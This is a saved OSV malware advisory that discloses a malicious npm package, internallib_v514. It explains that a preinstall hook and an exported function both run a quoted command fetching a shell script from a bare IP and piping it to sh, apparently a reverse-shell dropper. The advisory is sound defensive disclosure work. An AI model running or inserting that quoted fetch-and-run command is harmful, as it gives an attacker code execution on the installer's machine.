Malicious code in internallib_v514 (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-13483
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea) package.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require("child_process").execSync("curl http://10.0.70.90/rev.sh | sh")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.
- Source published
- 6 Aug 2026 23:54:21 UTC
- Source modified
- 7 Aug 2026 13:20:57 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.